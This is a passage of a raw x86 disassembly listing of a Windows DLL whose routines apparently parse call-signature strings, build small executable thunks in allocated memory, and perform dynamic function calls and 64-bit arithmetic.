loc_40F0E4 movzx eax, byte ptr [eax+10001F65h] jmp dword ptr ds:10001F09h[eax*4] ; --------------------------------------------------------------------------- db 8Bh dd 81486h, 0F4453B00h, 4589037Eh, 0FC6583F4h, 0F0658300h dd 0FF0AE900h, 6583FFFFh, 658300FCh, 45FF00F0h, 0FEFAE9F4h dd 45C7FFFFh, 1FCh, 0FEEEE900h, 4D83FFFFh, 0E5E9FFFCh dd 33FFFFFEh, 0F44D8BC0h, 8305E1C1h, 8DFFFC7Dh, 8789313Ch dd 818h, 48B0B74h, 307885h, 7FC08510h, 40C03303h, 1FC7D83h dd 8288789h, 0C750000h, 0E8F8458Dh, 0FFFFFC44h, 0FC458940h dd 89FC458Bh, 81C87h, 0F4458B00h, 0C141488Dh, 0C03305E1h dd 89310489h, 82C87h, 30878900h, 85000008h, 7D840FDBh dd 83FFFFFEh, 7500F07Dh, 0F4458B22h, 8D05E0C1h, 82C30BCh dd 78B0000h, 7EFFF883h, 19F88305h, 0FF50077Eh, 300815h dd 831F8910h, 7501F07Dh, 0F4458B0Dh, 8905E0C1h, 830309Ch dd 45FF0000h, 0FE3AE9F0h, 0C033FFFFh, 0FF4FE940h, 26AFFFFh dd 36A0EEBh, 56A0AEBh, 46A06EBh, 66A02EBh, 0FF37E958h dd 458DFFFFh, 0FBAAE8F8h, 0D88BFFFFh, 0BFB8343h, 0C383857Dh dd 8D80EB0Ah, 95E8F845h, 8BFFFFFBh, 70E943D8h, 83FFFFFFh dd 0F00F07Dh, 0FFFDEB85h, 0F84DFFFFh, 0FFF470E8h, 8DD88BFFh dd 71E8F845h, 52FFFFFBh, 0E8C38B50h, 0FFFFF67Ah, 44E95959h dd 8BFFFFFFh, 7D8BEC45h, 0F8A47F8h, 7D89CA3Ah, 380575F8h dd 10750157h, 0C74C984h, 175CA3Ah, 880F8A47h, 0E1EB4008h dd 0C6EC75FFh, 35E80000h, 59FFFFF4h, 0CE9D88Bh, 83FFFFFFh dd 0CE9FFCBh, 6AFFFFFFh, 6A0EEB15h, 6A0AEB16h, 6A06EB17h dd 6A02EB18h, 0F4E95B19h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_40F373: ; CODE XREF: sub_40EEDB+19Dj cmp dl, 2Ah jz short loc_40F3D6 cmp dl, 2Dh jz short loc_40F387 cmp dl, 3Ah jnz short loc_40F3E2 cmp dl, 2Dh jnz short loc_40F398 loc_40F387: ; CODE XREF: sub_40EEDB+4A0j lea eax, [edi+1] cmp byte ptr [eax], 3Eh jnz short loc_40F398 mov [ebp+var_20], 3 jmp short loc_40F3AC ; --------------------------------------------------------------------------- loc_40F398: ; CODE XREF: sub_40EEDB+4AAj ; sub_40EEDB+4B2j lea eax, [edi+1] cmp byte ptr [eax], 3Ah jnz short loc_40F3E2 cmp dl, 2Dh jz short loc_40F3E2 mov [ebp+var_20], 1 loc_40F3AC: ; CODE XREF: sub_40EEDB+4BBj mov [ebp+var_8], eax mov eax, [ebp+var_18] cmp eax, [ebp+var_14] jbe short loc_40F3CB push [ebp+var_14] mov byte ptr [eax], 0 push [ebp+var_24] call dword ptr ds:1000300Ch jmp loc_40F0E4 ; --------------------------------------------------------------------------- loc_40F3CB: ; CODE XREF: sub_40EEDB+4DAj mov eax, [ebp+var_24] mov byte ptr [eax], 0 jmp loc_40F0E4 ; --------------------------------------------------------------------------- loc_40F3D6: ; CODE XREF: sub_40EEDB+49Bj mov [ebp+var_20], 2 jmp loc_40F0E4 ; --------------------------------------------------------------------------- loc_40F3E2: ; CODE XREF: sub_40EEDB+1B2j ; sub_40EEDB+4A5j ... mov eax, [ebp+var_18] inc [ebp+var_18] mov [eax], dl jmp loc_40F0EF ; --------------------------------------------------------------------------- loc_40F3EF: ; CODE XREF: sub_40EEDB+24Dj lea eax, [esi+408h] cmp byte ptr [eax], 0 jz loc_40F48A push eax call sub_40E863 pop ecx loc_40F405: ; CODE XREF: sub_40EEDB+2B0j mov [esi+80Ch], eax jmp short loc_40F48A ; --------------------------------------------------------------------------- loc_40F40D: ; CODE XREF: sub_40EEDB+246j lea edi, [esi+8] cmp byte ptr [edi], 0 jnz short loc_40F426 lea eax, [esi+408h] push eax call sub_40E863 pop ecx cmp eax, ebx jmp short loc_40F47E ; --------------------------------------------------------------------------- loc_40F426: ; CODE XREF: sub_40EEDB+538j push edi call dword ptr ds:10003018h cmp eax, ebx mov [esi+808h], eax jnz short loc_40F448 push edi call dword ptr ds:1000301Ch cmp eax, ebx mov [esi+808h], eax jz short loc_40F486 loc_40F448: ; CODE XREF: sub_40EEDB+55Aj mov edi, ds:10003020h lea ebx, [esi+408h] push ebx push dword ptr [esi+808h] call edi ; lstrcat test eax, eax mov [esi+80Ch], eax jnz short loc_40F48A push 1000305Ch push ebx call dword ptr ds:10003024h push ebx push dword ptr [esi+808h] call edi ; lstrcat test eax, eax loc_40F47E: ; CODE XREF: sub_40EEDB+549j mov [esi+80Ch], eax jnz short loc_40F48A loc_40F486: ; CODE XREF: sub_40EEDB+26Ej ; sub_40EEDB+56Bj or dword ptr [esi+4], 0FFFFFFFFh loc_40F48A: ; CODE XREF: sub_40EEDB+23Dj ; sub_40EEDB+254j ... pop edi mov eax, esi pop esi pop ebx leave retn sub_40EEDB endp ; --------------------------------------------------------------------------- db 93h, 1Dh, 0 dd 1C6210h, 1C6E10h, 1C5210h, 1D6710h, 1D1A10h, 1DE310h dd 1DD310h, 1DD710h, 1DDF10h, 1D3210h, 1D2210h, 1D3A10h dd 1D2A10h, 1DDB10h, 1D4210h, 1DCB10h, 1D2E10h, 1C7710h dd 1D3610h, 1C3710h, 1D5710h, 1B5C10h, 16160010h, 16000116h dd 3160216h, 4160504h, 2 dup(4040404h), 16161604h, 16161616h dd 8071606h, 160A1609h, 0D0C160Bh, 160E1616h, 11100F16h dd 16131216h, 16161616h, 141616h, 8071606h, 160A1609h dd 0D0C160Bh, 160E1616h, 11101516h db 16h, 12h, 13h ; =============== S U B R O U T I N E ======================================= sub_40F543 proc near ; CODE XREF: .data:0040EB99p push ebx xor ebx, ebx cmp [edi+814h], ebx jl short loc_40F581 push esi lea esi, [edi+820h] loc_40F555: ; CODE XREF: sub_40F543+3Bj cmp dword ptr [esi], 0 jnz short loc_40F574 cmp dword ptr [esi-4], 0FFFFFFFFh jnz short loc_40F574 mov eax, [esi-8] push dword ptr ds:10003078h[eax*4] push 40h call dword ptr ds:10003000h mov [esi], eax loc_40F574: ; CODE XREF: sub_40F543+15j ; sub_40F543+1Bj inc ebx add esi, 20h cmp ebx, [edi+814h] jle short loc_40F555 pop esi loc_40F581: ; CODE XREF: sub_40F543+9j pop ebx retn sub_40F543 endp ; =============== S U B R O U T I N E ======================================= sub_40F583 proc near ; CODE XREF: .data:0040EB9Fp var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx mov ecx, [esp+4+arg_0] xor eax, eax cmp [ecx+814h], eax push ebx setnle al push ebp push esi push edi mov [esp+14h+var_4], eax loc_40F59B: ; CODE XREF: sub_40F583+16Fj ; sub_40F583+178j mov eax, [esp+14h+var_4] mov ecx, [esp+14h+arg_0] shl eax, 5 lea esi, [eax+ecx+818h] mov eax, [esi+14h] test eax, eax jz short loc_40F5DD push 1Ah pop ecx cmp eax, ecx jz short loc_40F5DD cmp eax, 0FFFFFFFFh jnz short loc_40F5C7 call near ptr loc_40E790+1 jmp short loc_40F5E8 ; --------------------------------------------------------------------------- loc_40F5C7: ; CODE XREF: sub_40F583+3Bj test eax, eax jle short loc_40F5D8 cmp eax, 19h jg short loc_40F5D8 dec eax call sub_40E80B jmp short loc_40F5E8 ; --------------------------------------------------------------------------- loc_40F5D8: ; CODE XREF: sub_40F583+46j ; sub_40F583+4Bj mov [esi+14h], ecx jmp short loc_40F5E8 ; --------------------------------------------------------------------------- loc_40F5DD: ; CODE XREF: sub_40F583+2Fj ; sub_40F583+36j push 1000305Bh call sub_40E780 pop ecx loc_40F5E8: ; CODE XREF: sub_40F583+42j ; sub_40F583+53j ... cmp dword ptr [esi+4], 0FFFFFFFFh mov ebp, eax lea edi, [esi+8] jnz short loc_40F5F7 mov ebx, [edi] jmp short loc_40F5F9 ; --------------------------------------------------------------------------- loc_40F5F7: ; CODE XREF: sub_40F583+6Ej mov ebx, edi loc_40F5F9: ; CODE XREF: sub_40F583+72j mov eax, [esi] and dword ptr [esi+1Ch], 0 test eax, eax jz loc_40F6CC cmp eax, 1 jz loc_40F6C4 cmp eax, 2 jz loc_40F6B6 cmp eax, 3 jz loc_40F6A8 jle loc_40F6CF cmp eax, 5 jle short loc_40F657 cmp eax, 6 jnz loc_40F6CF push ebp call dword ptr ds:1000302Ch test eax, eax jle loc_40F6CF push ebp call sub_40E863 pop ecx mov esi, eax call sub_40FBA0 mov [edi], eax jmp short loc_40F6CF ; --------------------------------------------------------------------------- loc_40F657: ; CODE XREF: sub_40F583+A8j mov eax, ds:10004034h add eax, eax push eax push 40h call dword ptr ds:10003000h mov edi, eax mov eax, ds:10004034h push eax push edi push eax push ebp push 0 push 0 mov [esi+1Ch], edi call dword ptr ds:10003028h cmp dword ptr [esi], 5 jnz short loc_40F6A4 push 10h push 40h call dword ptr ds:10003000h push eax mov [esi+1Ch], eax push edi mov [ebx], eax call dword ptr ds:10003050h push edi call dword ptr ds:10003008h jmp short loc_40F6CF ; --------------------------------------------------------------------------- loc_40F6A4: ; CODE XREF: sub_40F583+FFj mov [ebx], edi jmp short loc_40F6CF ; --------------------------------------------------------------------------- loc_40F6A8: ; CODE XREF: sub_40F583+99j push ebp call sub_40E780 mov [esi+1Ch], eax loc_40F6B1: ; CODE XREF: sub_40F583+147j pop ecx mov [ebx], eax jmp short loc_40F6CF ; --------------------------------------------------------------------------- loc_40F6B6: ; CODE XREF: sub_40F583+90j push ebp call sub_40E863 pop ecx mov [ebx], eax mov [ebx+4], edx jmp short loc_40F6CF ; --------------------------------------------------------------------------- loc_40F6C4: ; CODE XREF: sub_40F583+87j push ebp call sub_40E863 jmp short loc_40F6B1 ; --------------------------------------------------------------------------- loc_40F6CC: ; CODE XREF: sub_40F583+7Ej and dword ptr [edi], 0 loc_40F6CF: ; CODE XREF: sub_40F583+9Fj ; sub_40F583+ADj ... push ebp call dword ptr ds:10003008h cmp [esp+14h+var_4], 0 jz short loc_40F700 mov eax, [esp+14h+arg_0] mov ecx, [esp+14h+var_4] cmp ecx, [eax+814h] jnz short loc_40F6F7 and [esp+14h+var_4], 0 jmp loc_40F59B ; --------------------------------------------------------------------------- loc_40F6F7: ; CODE XREF: sub_40F583+168j inc [esp+14h+var_4] jmp loc_40F59B ; --------------------------------------------------------------------------- loc_40F700: ; CODE XREF: sub_40F583+158j pop edi pop esi pop ebp pop ebx pop ecx retn sub_40F583 endp ; =============== S U B R O U T I N E ======================================= sub_40F706 proc near ; CODE XREF: .data:0040EC52p mov eax, [ecx+814h] test eax, eax jl short locret_40F73B push esi lea esi, [eax+41h] shl esi, 5 push edi add esi, ecx lea edi, [eax+1] loc_40F71D: ; CODE XREF: sub_40F706+31j mov eax, [esi] test eax, eax jz short loc_40F733 cmp dword ptr [esi-4], 0FFFFFFFFh jnz short loc_40F733 push eax call dword ptr ds:10003008h and dword ptr [esi], 0 loc_40F733: ; CODE XREF: sub_40F706+1Bj ; sub_40F706+21j sub esi, 20h dec edi jnz short loc_40F71D pop edi pop esi locret_40F73B: ; CODE XREF: sub_40F706+8j retn sub_40F706 endp ; =============== S U B R O U T I N E ======================================= sub_40F73C proc near ; CODE XREF: .data:0040EBE7p ; .data:0040EC32p ... var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push ebx mov ebx, [eax+814h] mov [esp+8+var_4], ebx push ebp add ebx, 41h push esi shl ebx, 5 push edi add ebx, eax loc_40F757: ; CODE XREF: sub_40F73C+163j cmp dword ptr [ebx-4], 0FFFFFFFFh jnz short loc_40F761 mov esi, [ebx] jmp short loc_40F763 ; --------------------------------------------------------------------------- loc_40F761: ; CODE XREF: sub_40F73C+1Fj mov esi, ebx loc_40F763: ; CODE XREF: sub_40F73C+23j call sub_40E771 mov edi, eax mov eax, [ebx-8] xor ebp, ebp sub eax, ebp jz loc_40F844 dec eax jz loc_40F83D dec eax jz loc_40F82D dec eax jz short loc_40F804 dec eax jz short loc_40F7EE dec eax jz short loc_40F7AB dec eax jnz loc_40F850 push dword ptr [ebx] loc_40F797: ; CODE XREF: sub_40F73C+103j push 10003058h push edi call dword ptr ds:10003044h add esp, 0Ch jmp loc_40F850 ; --------------------------------------------------------------------------- loc_40F7AB: ; CODE XREF: sub_40F73C+50j mov eax, ds:10004034h add eax, eax push eax push 40h call dword ptr ds:10003000h mov ebp, eax mov eax, ds:10004034h add eax, eax push eax push ebp push dword ptr [esi] call dword ptr ds:1000304Ch mov eax, ds:10004034h xor ecx, ecx push ecx push ecx push eax push edi push eax push ebp push ecx push ecx call dword ptr ds:10003030h push ebp call dword ptr ds:10003008h loc_40F7EA: ; CODE XREF: sub_40F73C+EFj xor ebp, ebp jmp short loc_40F850 ; --------------------------------------------------------------------------- loc_40F7EE: ; CODE XREF: sub_40F73C+4Dj mov eax, ds:10004034h push ebp push ebp push eax push edi push eax push dword ptr [esi] push ebp push ebp call dword ptr ds:10003030h jmp short loc_40F850 ; --------------------------------------------------------------------------- loc_40F804: ; CODE XREF: sub_40F73C+4Aj push dword ptr [esi] call dword ptr ds:1000302Ch mov ebp, eax mov eax, ds:10004034h cmp ebp, eax jl short loc_40F81A lea ebp, [eax-1] loc_40F81A: ; CODE XREF: sub_40F73C+D9j lea eax, [ebp+1] push eax push dword ptr [esi] push edi call dword ptr ds:10003010h mov byte ptr [edi+ebp], 0 jmp short loc_40F7EA ; --------------------------------------------------------------------------- loc_40F82D: ; CODE XREF: sub_40F73C+43j push dword ptr [esi+4] mov eax, edi push dword ptr [esi] call sub_40E98E pop ecx pop ecx jmp short loc_40F850 ; --------------------------------------------------------------------------- loc_40F83D: ; CODE XREF: sub_40F73C+3Cj push dword ptr [esi] jmp loc_40F797 ; --------------------------------------------------------------------------- loc_40F844: ; CODE XREF: sub_40F73C+35j push 1000305Bh push edi call dword ptr ds:1000300Ch loc_40F850: ; CODE XREF: sub_40F73C+53j ; sub_40F73C+6Aj ... mov eax, [ebx+14h] cmp eax, ebp jz short loc_40F86C mov ecx, [esp+14h+arg_0] cmp dword ptr [ecx], 2 jnz short loc_40F865 cmp [ebx-4], ebp jle short loc_40F86C loc_40F865: ; CODE XREF: sub_40F73C+122j push eax call dword ptr ds:10003008h loc_40F86C: ; CODE XREF: sub_40F73C+119j ; sub_40F73C+127j mov eax, [ebx+10h] cmp eax, ebp jz short loc_40F88D cmp eax, 0FFFFFFFFh jnz short loc_40F87F call near ptr loc_40E7CC+2 jmp short loc_40F88D ; --------------------------------------------------------------------------- loc_40F87F: ; CODE XREF: sub_40F73C+13Aj cmp eax, ebp jle short loc_40F88D dec eax push edi push eax call sub_40E830 pop ecx pop ecx loc_40F88D: ; CODE XREF: sub_40F73C+135j ; sub_40F73C+141j ... push edi call dword ptr ds:10003008h dec [esp+14h+var_4] sub ebx, 20h cmp [esp+14h+var_4], ebp jge loc_40F757 pop edi pop esi pop ebp pop ebx pop ecx retn sub_40F73C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F8AB proc near ; CODE XREF: .data:0040EBBEp arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0 push ebx push edi push esi mov edi, ds:10004010h mov esi, [ebp+arg_0] xor ebx, ebx cmp edi, ebx jz short loc_40F8F3 test byte ptr [esi+810h], 10h jnz short loc_40F8F3 push ebp mov ds:1000401Ch, esp cmp ds:10004020h, ebx jnz short loc_40F8ED mov eax, 10000h call sub_40FF28 mov ds:10004020h, esp jmp short loc_40F8F3 ; --------------------------------------------------------------------------- loc_40F8ED: ; CODE XREF: sub_40F8AB+2Ej mov esp, ds:10004020h loc_40F8F3: ; CODE XREF: sub_40F8AB+16j ; sub_40F8AB+1Fj ... mov eax, [esi+814h] jmp short loc_40F93B ; --------------------------------------------------------------------------- loc_40F8FB: ; CODE XREF: sub_40F8AB+97j mov ecx, eax shl ecx, 5 add ecx, esi cmp dword ptr [ecx+828h], 2 jnz short loc_40F921 mov eax, [ecx+824h] mov ds:10004024h, eax push dword ptr ds:10004024h mov eax, ds:10004028h loc_40F921: ; CODE XREF: sub_40F8AB+5Ej add eax, 41h shl eax, 5 mov eax, [eax+esi] mov ds:10004024h, eax push dword ptr ds:10004024h mov eax, ds:10004028h dec eax loc_40F93B: ; CODE XREF: sub_40F8AB+4Ej cmp eax, ebx mov ds:10004028h, eax jg short loc_40F8FB mov eax, [esi+80Ch] mov ds:10004028h, eax mov eax, ds:10004014h mov [esi+14A0h], eax mov eax, [ebp+arg_0] mov ds:10004014h, eax call dword ptr ds:10004028h mov ds:10004028h, eax mov ds:10004024h, edx cmp edi, ebx jz short loc_40F992 mov eax, ds:10004014h test byte ptr [eax+810h], 10h jnz short loc_40F992 mov ds:10004020h, esp mov esp, ds:1000401Ch pop ebp loc_40F992: ; CODE XREF: sub_40F8AB+CAj ; sub_40F8AB+D8j mov eax, ds:10004014h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] mov ecx, [eax+14A0h] xor edx, edx mov ds:10004014h, ecx mov ecx, [eax+810h] inc edx test cl, dl jz short loc_40FA0F cmp edi, ebx jle short loc_40F9EC test cl, 10h jnz short loc_40F9EC cmp [eax+814h], edx jl short loc_40FA0F lea ecx, [eax+848h] loc_40F9CD: ; CODE XREF: sub_40F8AB+13Dj mov esi, [ecx] mov edi, ds:10004020h lea esi, [edi+esi*4] inc edx mov ds:10004020h, esi add ecx, 20h cmp edx, [eax+814h] jle short loc_40F9CD jmp short loc_40FA0F ; --------------------------------------------------------------------------- loc_40F9EC: ; CODE XREF: sub_40F8AB+10Dj ; sub_40F8AB+112j cmp [eax+814h], edx mov esi, edx jl short loc_40FA0F lea ecx, [eax+848h] loc_40F9FC: ; CODE XREF: sub_40F8AB+162j cmp dword ptr [ecx], 2 jnz short loc_40FA02 pop edx loc_40FA02: ; CODE XREF: sub_40F8AB+154j pop edx inc esi add ecx, 20h cmp esi, [eax+814h] jle short loc_40F9FC loc_40FA0F: ; CODE XREF: sub_40F8AB+109j ; sub_40F8AB+11Aj ... cmp ds:10004014h, ebx jnz short loc_40FA1D mov ds:10004020h, ebx loc_40FA1D: ; CODE XREF: sub_40F8AB+16Aj mov ecx, ds:10004028h mov [eax+820h], ecx mov ecx, ds:10004024h mov [eax+824h], ecx mov [eax+4], ebx test byte ptr [eax+810h], 20h jz short loc_40FA4C call dword ptr ds:10003034h mov ds:10004018h, eax loc_40FA4C: ; CODE XREF: sub_40F8AB+194j mov eax, [ebp+arg_0] pop esi pop edi pop ebx mov esp, ebp pop ebp retn sub_40F8AB endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 push ebx push edi push esi mov ds:10004024h, esp add dword ptr ds:10004024h, 4 add dword ptr ds:10004024h, 14h mov [ebp-4], eax mov esi, [ebp-4] jmp short loc_40FA7D ; --------------------------------------------------------------------------- loc_40FA7B: ; CODE XREF: .data:0040FA85j mov esi, eax loc_40FA7D: ; CODE XREF: .data:0040FA79j mov eax, [esi+14A0h] test eax, eax jnz short loc_40FA7B push esi call loc_40EA82 mov [esi+14A0h], eax or byte ptr [eax+810h], 80h and dword ptr [eax+149Ch], 0 xor esi, esi inc esi pop ecx mov ecx, esi mov ds:10004028h, ecx cmp [eax+814h], esi mov [ebp-4], eax jl short loc_40FB1B push 4 pop edx loc_40FABB: ; CODE XREF: .data:0040FB19j mov edi, ds:10004024h mov edi, [edi] add ecx, 41h shl ecx, 5 mov [ecx+eax], edi add ds:10004024h, edx add [eax+149Ch], edx mov ecx, ds:10004028h shl ecx, 5 add ecx, eax cmp dword ptr [ecx+828h], 2 jnz short loc_40FB06 mov edi, ds:10004024h mov edi, [edi] mov [ecx+824h], edi add ds:10004024h, edx add [eax+149Ch], edx loc_40FB06: ; CODE XREF: .data:0040FAEAj mov ecx, ds:10004028h inc ecx mov ds:10004028h, ecx cmp ecx, [eax+814h] jle short loc_40FABB loc_40FB1B: ; CODE XREF: .data:0040FAB6j mov [eax+4], esi mov eax, [ebp-4] push ebp mov ds:10004020h, esp mov esp, ds:1000401Ch pop ebp pop esi pop edi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FB36 proc near ; CODE XREF: .data:0040EBD4p arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0 push ebx push edi push esi mov eax, [ebp+arg_0] add eax, 820h push dword ptr [eax] push dword ptr [eax+4] mov eax, [ebp+arg_0] mov eax, [eax+810h] and eax, 1 jnz short loc_40FB6A mov eax, [ebp+arg_0] mov al, [eax+149Ch] mov ds:10004009h, al jmp short loc_40FB71 ; --------------------------------------------------------------------------- loc_40FB6A: ; CODE XREF: sub_40FB36+22j mov byte ptr ds:10004009h, 0 loc_40FB71: ; CODE XREF: sub_40FB36+32j mov dword ptr ds:10004004h, 10004008h push [ebp+arg_0] call dword ptr ds:10003008h pop edx pop eax push ebp mov ds:1000401Ch, esp mov esp, ds:10004020h pop ebp pop esi pop edi pop ebx mov esp, ebp pop ebp jmp dword ptr ds:10004004h sub_40FB36 endp ; =============== S U B R O U T I N E ======================================= sub_40FBA0 proc near ; CODE XREF: sub_40F583+CBp cmp dword ptr [esi+80Ch], 0 jnz short loc_40FBF1 inc dword ptr ds:10004010h mov eax, ds:10004010h or dword ptr [esi+810h], 2 push 40h push 1000h push 0Ah push 0 mov [esi+1498h], eax call dword ptr ds:10003038h mov [esi+80Ch], eax mov byte ptr [eax], 0B8h inc eax mov [eax], esi add eax, 4 mov byte ptr [eax], 0E9h inc eax mov ecx, 100024CEh sub ecx, eax sub ecx, 4 mov [eax], ecx loc_40FBF1: ; CODE XREF: sub_40FBA0+7j mov eax, [esi+80Ch] retn sub_40FBA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FBF8 proc near ; CODE XREF: .data:0040EBC7p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h and [ebp+var_4], 0 push ebx xor ebx, ebx inc ebx cmp [edi+814h], ebx push esi jl short loc_40FC39 mov edx, [edi+814h] lea eax, [edi+83Ch] loc_40FC1B: ; CODE XREF: sub_40FBF8+3Fj mov ecx, [eax] cmp ecx, ebx mov esi, [ebp+var_4] jge short loc_40FC2C mov ecx, [eax+0Ch] lea ecx, [esi+ecx*4] jmp short loc_40FC30 ; --------------------------------------------------------------------------- loc_40FC2C: ; CODE XREF: sub_40FBF8+2Aj lea ecx, [esi+ecx-1] loc_40FC30: ; CODE XREF: sub_40FBF8+32j add eax, 20h dec edx mov [ebp+var_4], ecx jnz short loc_40FC1B loc_40FC39: ; CODE XREF: sub_40FBF8+15j mov eax, [edi+80Ch] test eax, eax jnz short loc_40FC56 push [ebp+var_4] push 40h call dword ptr ds:10003000h mov [edi+80Ch], eax jmp short loc_40FC66 ; --------------------------------------------------------------------------- loc_40FC56: ; CODE XREF: sub_40FBF8+49j cmp [ebp+var_4], 0 jnz short loc_40FC66 push eax call dword ptr ds:10003004h mov [ebp+var_4], eax loc_40FC66: ; CODE XREF: sub_40FBF8+5Cj ; sub_40FBF8+62j cmp [edi+814h], ebx mov eax, [edi+80Ch] mov [ebp+var_C], eax mov [ebp+var_10], ebx jl loc_40FD49 lea esi, [edi+840h] jmp short loc_40FC89 ; --------------------------------------------------------------------------- loc_40FC86: ; CODE XREF: sub_40FBF8+14Bj xor ebx, ebx inc ebx loc_40FC89: ; CODE XREF: sub_40FBF8+8Cj mov eax, [esi-4] xor ecx, ecx cmp eax, ebx jge short loc_40FC9D mov ebx, [esi+8] shl ebx, 2 loc_40FC98: ; CODE XREF: sub_40FBF8+101j mov [ebp+var_8], esi jmp short loc_40FCFF ; --------------------------------------------------------------------------- loc_40FC9D: ; CODE XREF: sub_40FBF8+98j or [ebp+var_20], 0FFFFFFFFh lea ebx, [eax-1] mov eax, [esi-8] test eax, eax mov [ebp+var_1C], 0FFh mov [ebp+var_18], 0FFFFh mov [ebp+var_14], 0FFFFFFh jz short loc_40FCFB cmp eax, 1 jz short loc_40FCE4 cmp eax, 2 jz short loc_40FCD8 jle short loc_40FCFF cmp eax, 5 jg short loc_40FCFF mov eax, [esi] mov [ebp+var_8], eax jmp short loc_40FCFF ; --------------------------------------------------------------------------- loc_40FCD8: ; CODE XREF: sub_40FBF8+D0j mov eax, [ebp+var_4] and dword ptr [esi+4], 0 xor ecx, ecx mov [esi], eax inc ecx loc_40FCE4: ; CODE XREF: sub_40FBF8+CBj test ebx, ebx jl short loc_40FCF1 cmp ebx, 4 jge short loc_40FCF1 mov eax, ebx jmp short loc_40FCF3 ; --------------------------------------------------------------------------- loc_40FCF1: ; CODE XREF: sub_40FBF8+EEj ; sub_40FBF8+F3j xor eax, eax loc_40FCF3: ; CODE XREF: sub_40FBF8+F7j mov eax, [ebp+eax*4+var_20] and [esi], eax jmp short loc_40FC98 ; --------------------------------------------------------------------------- loc_40FCFB: ; CODE XREF: sub_40FBF8+C6j and [ebp+var_8], 0 loc_40FCFF: ; CODE XREF: sub_40FBF8+A3j ; sub_40FBF8+D2j ... cmp [ebp+var_8], 0 jz short loc_40FD31 cmp dword ptr [esi+0Ch], 0 jnz short loc_40FD0F test ecx, ecx jz short loc_40FD1D loc_40FD0F: ; CODE XREF: sub_40FBF8+111j push [ebp+var_C] mov ecx, [ebp+var_8] mov eax, ebx call sub_40EA60 pop ecx loc_40FD1D: ; CODE XREF: sub_40FBF8+115j cmp dword ptr [esi+10h], 0 jz short loc_40FD31 push [ebp+var_8] mov ecx, [ebp+var_C] mov eax, ebx call sub_40EA60 pop ecx loc_40FD31: ; CODE XREF: sub_40FBF8+10Bj ; sub_40FBF8+129j add [ebp+var_C], ebx inc [ebp+var_10] mov eax, [ebp+var_10] add esi, 20h cmp eax, [edi+814h] jle loc_40FC86 loc_40FD49: ; CODE XREF: sub_40FBF8+80j mov eax, [edi+80Ch] pop esi mov [edi+820h], eax pop ebx leave retn sub_40FBF8 endp ; --------------------------------------------------------------------------- db 83h, 7Ch, 24h dd 448B0108h, 0CA30424h, 75100040h, 4020683Bh, 406A1000h dd 868046Ah, 0FF100040h, 303C15h, 0A3C03310h, 10004020h dd 401CA3h, 4018A310h, 14A31000h, 0A3100040h, 10004010h dd 400805C6h, 0A2C21000h, 1000400Ah, 0C240C033h, 0CCCC000Ch dd 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_40FDB8 proc near ; CODE XREF: .data:0040EDA6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebp xor edi, edi xor ebp, ebp mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_40FDDC inc edi inc ebp mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_40FDDC: ; CODE XREF: sub_40FDB8+Dj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_40FDF8 inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_40FDF8: ; CODE XREF: sub_40FDB8+2Aj or eax, eax jnz short loc_40FE24 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov esi, eax mov eax, ebx mul [esp+0Ch+arg_8] mov ecx, eax mov eax, esi mul [esp+0Ch+arg_8] add edx, ecx jmp short loc_40FE6B ; --------------------------------------------------------------------------- loc_40FE24: ; CODE XREF: sub_40FDB8+42j mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_40FE32: ; CODE XREF: sub_40FDB8+84j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_40FE32 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_40FE60 cmp edx, [esp+0Ch+arg_4] ja short loc_40FE60 jb short loc_40FE69 cmp eax, [esp+0Ch+arg_0] jbe short loc_40FE69 loc_40FE60: ; CODE XREF: sub_40FDB8+98j ; sub_40FDB8+9Ej dec esi sub eax, [esp+0Ch+arg_8] sbb edx, [esp+0Ch+arg_C] loc_40FE69: ; CODE XREF: sub_40FDB8+A0j ; sub_40FDB8+A6j xor ebx, ebx loc_40FE6B: ; CODE XREF: sub_40FDB8+6Aj sub eax, [esp+0Ch+arg_0] sbb edx, [esp+0Ch+arg_4] dec ebp jns short loc_40FE7D neg edx neg eax sbb edx, 0 loc_40FE7D: ; CODE XREF: sub_40FDB8+BCj mov ecx, edx mov edx, ebx mov ebx, ecx mov ecx, eax mov eax, esi dec edi jnz short loc_40FE91 neg edx neg eax sbb edx, 0 loc_40FE91: ; CODE XREF: sub_40FDB8+D0j pop ebp pop esi pop edi retn 10h sub_40FDB8 endp ; --------------------------------------------------------------------------- db 0CCh ; =============== S U B R O U T I N E ======================================= sub_40FE98 proc near ; CODE XREF: .data:0040ED54p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword 